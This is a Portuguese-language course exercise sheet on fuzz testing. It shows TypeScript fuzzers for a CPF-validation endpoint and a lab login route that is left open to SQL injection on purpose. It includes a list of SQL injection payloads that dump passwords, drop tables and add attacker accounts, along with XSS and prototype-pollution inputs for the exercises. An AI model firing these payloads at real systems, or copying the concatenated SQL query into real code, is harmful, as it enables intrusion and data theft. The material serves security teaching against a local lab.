Lista de Exercícios:

I. **-Fuzz Testing: conceitos, tipos e ferramentas**

Teste Fuzzing

O teste **Fuzzing** é uma técnica de teste de software automatizada que insere dados aleatórios (“fuzz”), inválidos ou mal formados nas entradas de um sistema para identificar falhas que podem passar despercebidas por métodos tradicionais, descobrindo assim vulnerabilidades de segurança ou bugs. Essa abordagem é especialmente eficaz na detecção de vulnerabilidades exploráveis, como estouros de buffer, falhas de gerenciamento de memória e problemas de validação de entrada como injeção de SQL e XSS.

A forma mais simples de executar um fuzzer de entrada é primeiro gerando um dado não estruturado (gerarEntradaAleatoria()) de combinações aleatórias de inteiros, caracteres, números ou sequências binárias, visando testar como o software reage a ações inesperados.

```
// Gerando a entrada Aleatória
function gerarEntradaAleatoria(): string {
  const caracteres = "abcdefghijklmnopqrstuvwxyz";
  let resultado = "";
  const tamanho = Math.floor(Math.random() * 10) + 1;
  for (let i = 0; i < tamanho; i++) {
    const indice = Math.floor(Math.random() * caracteres.length);
    resultado += caracteres[indice];
  }
  return resultado;
}
//Função alvo testada
const targetFunction = (input: string): string =>{
 if (input.includes(“crash”)){
       throw new Error(“ Erro Encontrado!”);
 }
   return `Processado: ${entrada}`;
};

//Testes realizados sobre a função targetFunction
 const iterations = 100; // Quantidade de entradas que irá serem analisadas
  for (let i = 0; i < iterations; i++) {
     const input = gerarEntradaAleatoria(Math.floor(Math.random() * 20) + 1); // 1
a 20 caracteres
    try {
        const output = targetFunction(input); // target é uma função na qual está
sendo detectada pelo teste fuzzing
      console.log(` Entrada "${input}"  está de acordo com a saída “${output}”`);
    } catch (err) {
            console.log(`Conflito  com  a  entrada:  "${input}"  ->  ${(err  as
Error).message}`);
    }
  }
```

Isso permite identificar pontos onde os algoritmos falham ao lidar com elas, revelando como entradas malformadas podem comprometer a segurança e a estabilidade do sistema. Esta tarefa apresentada captura a essência do Teste Fuzzing: "*Crie entradas aleatórias e veja como ela quebra as coisas. Deixe-o correr o suficiente e você verá* "(FuzzingBook.com). De primeira vista, pode ser uma prática ineficiente de teste de software, porém existem diversos tipos de Testes Fuzzing que podem melhorar a eficiência e eficácia delas, e então podendo ser exploradas pelos pesquisadores de cibersegurança. As principais são: generation based-fuzzing, grammar based-fuzzing, search based-fuzzing, coverage based fuzzing, protocol based-fuzzing, greybox based-fuzzing, blackbox based-fuzzing e whitebox based-fuzzing.

```
async function testFuzzing() {
  const url = 'http://localhost:3000/cpf';

  // 1. Generation-based
  for (const cpf of generationBasedInputs()) {
    await sendRequest(url, { cpf }, 'Generation-based');
  }

  // 2. Mutation-based
  for (let i = 0; i < 10; i++) {
    const mutated = mutateCPF('123.456.789-00');
    await sendRequest(url, { cpf: mutated }, 'Mutation-based');
  }

}
```

```
async function sendRequest(url: string, payload: any, method: string) {

 try {
  const res = await axios.post(url, payload);
  console.log(`[ ] ${method} → ${JSON.stringify(payload)} → ${res.status}`);
 } catch (err: any) {
  const status = err.response?.status || 'erro';
  console.log(`[x] ${method} → ${JSON.stringify(payload)} → ${status}`);
 }
}
```

O CPF é um exemplo simples de ser explorado, devido à variedade de regras para mantê-lo na estrutura correta. No caso, o próprio formato deixa dúvidas quanto à sua validade, pois pode ser representado em forma de número ou string.

```
app.post('/cpf', (req:Request, res:Response) => {
 const { cpf } = req.body;

 const regexCPF = /^\d{3}\.\d{3}\.\d{3}-\d{2}$/;

 if (typeof cpf !== 'string') {
  return res.status(400).json({ error: 'CPF deve ser uma string.' });
 }

 if (!regexCPF.test(cpf)) {
  return res.status(400).json({ error: 'Formato de CPF inválido.' });
 }

 return res.status(200).json({ message: 'Formato de CPF válido.' });
});
```

Generation based-fuzzing

Cria novas entradas do zero com base em um modelo ou uma estrutura predefinida do formato de entrada esperado. Essa técnica é útil para testar programas que lidam com entradas estruturadas, mas requer reforços manuais pesados para gerar estruturas corretas. Ele é mais complexo, mas pode ser mais eficaz na descoberta de vulnerabilidades.

```
function generationBasedInputs(): string[] {

 return [
  '123.456.789-00',
  '000.000.000-00',
  '12345678900',
  'abc.def.ghi-jk',
  '111-222-333.44',
  '',
  '999.999.999-000',
  '...---...',
 ];
}
```

Mutation based-fuzzing

Introduz pequenas alterações nas entradas existentes que podem manter a entrada válida, mas ela pode exercer um comportamento inesperado. Essa técnica não tem sentido pelas quantidades mínimas de alterações, porém ela tem o objetivo de filtrar falhas de validação imperfeita, erros de sintaxe ou vazamento de lógica.

```
function mutateCPF(cpf: string): string {

 const chars = 'abcdefghijklmnopqrstuvwxyz0123456789.-';
 const cpfArray = cpf.split('');

 // Mutar 1 a 3 caracteres aleatórios
 const mutations = Math.floor(Math.random() * 3) + 1;
 for (let i = 0; i < mutations; i++) {
  const index = Math.floor(Math.random() * cpfArray.length);
  const newChar = chars[Math.floor(Math.random() * chars.length)];
  cpfArray[index] = newChar;
 }
```

```
 return cpfArray.join('');
}
```

Segurança SQL Injection

O teste de fuzzing pode ser eficaz para revelar defeitos e vulnerabilidades de segurança de software ou API, para saber se os dados injetados afetam o modo como o código vai ser interpretado, implicando no seu mau funcionamento. O SQL Injection é um tipo de vulnerabilidade semântica que pode ser trabalhado na classe de fuzzing semântico quando as entradas adicionam validade à gramática ao produzir validade sintaxes e semântica válidas.

```
function sqlIFuzzing(): string[] {
 return [
  "'",
  "'; --",
  "'; OR '1'='1",
  "'; OR 'a'='a",
  "'; SELECT * FROM users--",
  "'; UNION SELECT null,username,password FROM users--",
  "' UNION ALL SELECT NULL, NULL, NULL, CONCAT(username, ':', password) FROM users--",
  "'; DROP TABLE users--",
  "'; INSERT INTO users(username, password) VALUES ('attacker', 'password')--",
  "'; UPDATE users SET password='newpassword' WHERE username='admin'--",
]
}
```

Para a execução dessa tarefa, pgAdmin, crie um banco de dados com o nome bdaula (ou outro nome de sua escolha). Em seguida, execute os comandos a seguir para criar a tabela users com registros de teste:

```
DROP TABLE IF EXISTS users;

CREATE TABLE users ( id SERIAL PRIMARY KEY,

                     username VARCHAR NOT NULL,

                    password VARCHAR NOT NULL );

INSERT INTO users (username, password) VALUES ('admin', '123'), ('root', 'abc') , ('root', 'abc');
```

A função fuzzSQLi() detecta às vezes em que os dados da gramática da linguagem SQL foram personalizados, fornecendo a capacidade de alterar o banco de dados com efeitos catastróficos.

```
app.post('/login', async (req, res) => {

  const { usuario, senha } = req.body;

   const query = `SELECT * FROM users WHERE username = '${usuario}' AND password =
'${senha}'`;
```

```
  try{
          const result = await db.query(query);

          if(result.rowCount !== 0){
              res.json({message: "Login bem-sucedido"});
          }else{
              res.status(401).json({message:"Usuário ou Senha Inválidos"});
          }
      }catch(e:any){
          res.status(500).json({message: "Erro no servidor"});
      }
});


async function fuzzSQLi() {
  const url = 'http://localhost:3000/login';

  for (const mutacao of sqlIFuzzing()) {
    const senhaMutada = "admin" + mutacao;

    try {
      const res = await axios.post(url, {
        usuario: 'admin',
        senha: senhaMutada,
      });

      console.log(`[V] [SQLI]
           SELECT * FROM Users WHERE usuario = user AND password = ${senhaMutada} AND
token = token; → Status: ${res.status}`);

    } catch (err: any) {

      const status = err.response?.status || 'erro';

      console.log(`[X] [SQLI]
          SELECT * FROM Users WHERE usuario = user AND password = ${senhaMutada}  AND
token = token; → Status: ${status}`);
    }
  }
}
```

Portanto, a injeção de SQL é um excelente exemplo de uma vulnerabilidade que se beneficia enormemente das técnicas de fuzzing semântico, pois sua detecção eficaz requer uma compreensão da interpretação lógica (semântica) dos dados pelo software.

Exercícios

1. **[Mutação de CPF (mutation-based)]Aplique a técnica de mutation-base no teste para verificar os dígitos válidos do CPF tocando apenas trocar dígitos numéricos.**

2. **[XSS fuzzing] Teste campos de entrada injetando scripts (<script>alert(1)</script>) ou tags HTML aninhadas para ver se há vulnerabilidade de XSS.**
3. **[FuzzingBook.com] Projete e implemente um sistema que reúna uma população de URLs da web. Você consegue obter uma cobertura maior com essas amostras? E se você as usar como população inicial para mutações posteriores?**
4. **Implemente um sistema que analisa as irregularidades de um DNS usando a técnica de Generation Based e Mutation Based. Explore também irregularidades presentes em requisições get.**
5. **[**Fuzzing para JSON Malformado] **Monte um endpoint /dados que espera um JSON. Fazer o backend lançar exceções ou vazar erros. Envie:**

- **JSONs incompletos ({"nome":)**
- **Tipos errados ({"idade": "vinte"})**
- **Campos inesperados ({"__proto__": {}})**

Atividade

Com base no material usado nessa aula para ensinar a técnica de Teste Fuzzy, utilize um tipo de Teste Fuzzing e proponha uma abordagem para encontrar um tipo de vulnerabilidade (Exemplo: XSS, CRSF, SQLi, técnicas de validação, Jwt).

Atenção:

- Para reproduzir os exemplos e exercícios, utilize o código disponível no repositório https://github.com/danynazaretech/WebSecurityApplicationFatecJacarei.
- Não se esqueça de configurar o setTimeout para sincronizar a execução dos testes, pois isso fornece agilidade na execução dos testes com a execução do servidor.

```
app.listen(PORT, () => {

 console.log(`Servidor rodando em http://localhost:${PORT}/cpf`);
  setTimeout(() => {
   testFuzzing();        // CPF fuzz
   fuzzSQLi() // SQLi fuzz
  }, 1000);
});
```

Referências:

ZELLER, Andreas; GOPINATH, Rahul; BÖHME, Marcel; FRASER, Gordon; HOLLER, Christian. *The Fuzzing Book*. CISPA Helmholtz Center for Information Security, 2024. Disponível em: https://www.fuzzingbook.org/. Acesso em: 01 jul. 2024.